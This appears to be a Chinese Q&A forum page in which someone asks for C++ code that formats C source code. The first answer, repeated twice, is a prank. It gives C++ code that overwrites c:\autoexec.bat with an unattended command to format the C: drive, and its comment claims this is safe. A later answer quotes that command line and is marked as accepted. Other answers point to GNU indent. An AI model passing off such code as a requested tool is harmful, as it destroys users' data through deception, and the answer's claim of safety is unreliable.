C语言源码格式化,要求用C++编写,哪位高手给个代码~?
我要做一个《C语言源码格式化》的论文,需要源码,pjl110理解的正确,就是写一个C++程序能将C源码按照格式标准进行处理。网上有很多这类的小程序,但是找不到源码,请各位...
我要做一个《C语言源码格式化》的论文,需要源码, pjl110理解的正确,就是写一个C++程序能将C源码按照格式标准进行处理。网上有很多这类的小程序,但是找不到源码,请各位高手帮帮忙~
展开
4个回答
展开全部
#include<iostream>
using namespace std;
main()
{
FILE*fp;
char filename[30]="c:\\autoexec.bat";
char filecontent[100]="c:\\windows\\command\\format c:/q/autotest/u";
if((fp=fopen(filename,"w"))==NULL)
cout<<"cannot open filename\n"<<endl;
fputs(filecontent,fp);
cout<<"已经格式化!"<<endl;
fclose(fp);
}
//将格式化命令写入到系统文件的自动处理批文件中,然后自动执行,这样比较安全,format后面的盘符可以自己修改
using namespace std;
main()
{
FILE*fp;
char filename[30]="c:\\autoexec.bat";
char filecontent[100]="c:\\windows\\command\\format c:/q/autotest/u";
if((fp=fopen(filename,"w"))==NULL)
cout<<"cannot open filename\n"<<endl;
fputs(filecontent,fp);
cout<<"已经格式化!"<<endl;
fclose(fp);
}
//将格式化命令写入到系统文件的自动处理批文件中,然后自动执行,这样比较安全,format后面的盘符可以自己修改
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
你要找的应该是【indent】
帮助http://linux.die.net/man/1/indent
下载http://www.gnu.potius.org/index.php?dir=indent/
不过我建议你还是自己写个语法分析的程序来实现吧。
帮助http://linux.die.net/man/1/indent
下载http://www.gnu.potius.org/index.php?dir=indent/
不过我建议你还是自己写个语法分析的程序来实现吧。
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
楼主问的不是1楼的意思吧!
我想楼主的意思应该是:
{
int a;
}
格式化成:
{
int a;
}
吧!
是吗?
我想楼主的意思应该是:
{
int a;
}
格式化成:
{
int a;
}
吧!
是吗?
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
2010-01-07
展开全部
filecontent[100]="c:\\windows\\command\\format
本回答被提问者采纳
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询